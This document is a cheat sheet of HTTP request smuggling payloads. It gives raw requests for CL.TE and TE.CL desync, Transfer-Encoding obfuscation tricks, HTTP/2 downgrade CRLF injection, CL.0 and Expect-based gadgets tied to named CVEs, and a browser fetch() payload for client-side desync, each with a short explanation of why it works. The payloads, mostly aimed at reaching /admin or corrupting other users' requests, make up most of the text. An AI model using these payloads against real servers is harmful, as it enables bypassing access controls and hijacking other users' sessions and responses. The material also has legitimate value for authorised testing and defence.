HTTP Request Smuggling Cheat Sheet

POST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked

0

X

Front-end reads 6 body bytes (the entire payload) and forwards. Back-end honours chunked, sees the 0-chunk terminator, and the trailing X becomes the first byte of the next request — confirming desync.

POST / HTTP/1.1
Host: target
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target

After the 0-chunk terminator, the GET /admin block is left in the back-end socket. The next legitimate request on that connection is prepended with the smuggled bytes — front-end sees a normal POST, back-end serves /admin to the wrong client.

POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end forwards the chunked body in full; back-end reads only 3 bytes (matching CL: 3) and treats "SMUGGLED\r\n0\r\n\r\n" as the start of the next request, confirming desync. The opposite timing signal to CL.TE.

Transfer-Encoding : chunked

RFC 7230 forbids whitespace before the header colon, but some parsers tolerate it while others reject the whole line. The mismatch lets one server frame as CL and the other as TE.

Transfer-Encoding:	chunked

Tab character between colon and value is rejected by strict parsers and accepted by lenient ones — same effect as the space-before-colon trick.

 Transfer-Encoding: chunked

Leading whitespace triggers HTTP/1.0-style "header line continuation" on legacy parsers, which fold it into the previous header instead of treating it as TE.

Transfer-Encoding: chunked
Transfer-Encoding: identity

Two TE headers, one valid and one invalid value. Servers disagree on which one wins (first-wins vs last-wins vs reject); the disagreement is the desync.

Transfer-Encoding: chunked
Z

A bare CR inside the value is normalised differently by different parsers — some treat the value as "chunked", others as a malformed token and ignore the header entirely.

Transfer-Encoding: xchunked

Lenient parsers do prefix-matching on the value and treat xchunked as chunked; strict parsers reject the unknown coding. The disagreement gives the attacker CL.TE or TE.CL behaviour.

HTTP/2 message: :method=POST, content-length=0, body=200 bytes

Front-end accepts an HTTP/2 message whose declared content-length disagrees with actual body length. On downgrade it emits Content-Length: 0 plus 200 bytes of body, and the back-end reads those bytes as the next request.

HTTP/2 message: transfer-encoding: chunked

HTTP/2 forbids transfer-encoding: chunked, but some translators forward it anyway. After downgrade the back-end frames the body by chunk while the front-end already framed by length, reducing to CL.TE behaviour.

header value: "smuggle\r\nGET /admin HTTP/1.1\r\nX:"

HTTP/2 binary framing carries CRLF inside header values; a naive translator emits it verbatim into HTTP/1.1, splitting one header into a real header followed by an attacker-controlled request line.

:path = "/a HTTP/1.1\r\nHost: target\r\n\r\nGET /admin"

CRLF embedded in the :path pseudo-header is re-serialised on downgrade, producing a malformed first line followed by a second attacker-controlled request line on the same connection.

POST /static.css HTTP/1.1
Host: target
Content-Length: 41

GET /admin HTTP/1.1
Host: target

Back-end serves /static.css directly (early response, body never read), leaves the GET /admin block in the socket. Static asset paths, redirect handlers, and IIS reserved names like /con are the most reliable gadgets.

POST / HTTP/1.1
Host: target
Content-Length: 41
Expect: 100-continue

GET /admin HTTP/1.1
Host: target

Front-end mishandles Expect: 100-continue, treating the body as zero-length and forwarding only the headers. Back-end still reads Content-Length bytes from the socket, consuming the smuggled GET /admin block. Akamai pattern (CVE-2025-32094).

Expect: y 100-continue

Akamai's parser accepted "Expect: y 100-continue" as a valid 100-continue directive while back-end vendors rejected it, producing the parser-discrepancy that drove CVE-2025-32094 against auth.lastpass.com.

POST / HTTP/1.1
Host: target
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target

Back-end accepts chunked but ignores body framing entirely, treating remaining bytes as the next request. sw33tLie/bsysop/Medusa research, 3rd place in PortSwigger Top-10 Web Hacking Techniques of 2024 with multiple CDNs exploitable.

POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 100\r\n\r\n[20 bytes][pause 60s][80 bytes]

Apache's server-issued redirects could leave a partial body in the socket past the timeout window. CVE-2022-22720 closed this; mitigations are version-pinned.

Partial POST → server-side synth() response → connection retained with leftover bytes

Varnish's synth() fast-path response returned before the body was fully read; the unread bytes lived in the socket and prepended the next request. CVE-2022-23959.

POST / HTTP/1.1
Host: target
Transfer-Encoding: chunked

1; foo=bar
A
0

GET /admin HTTP/1.1

Front-end strips "; foo=bar" (or interprets it differently) while back-end reads the chunk size differently because of how the extension is parsed. The framing difference leaves the smuggled request bytes in the back-end socket.

fetch('https://victim.tld/static.css', {method:'POST', body:'GET /admin HTTP/1.1\r\nHost: victim.tld\r\n\r\n', keepalive:true})

A malicious page issues a fetch() with keepalive that lands on a CL.0 gadget. The browser keeps the socket warm in its connection pool; the victim's next request to victim.tld reuses that socket and is prepended by the smuggled bytes.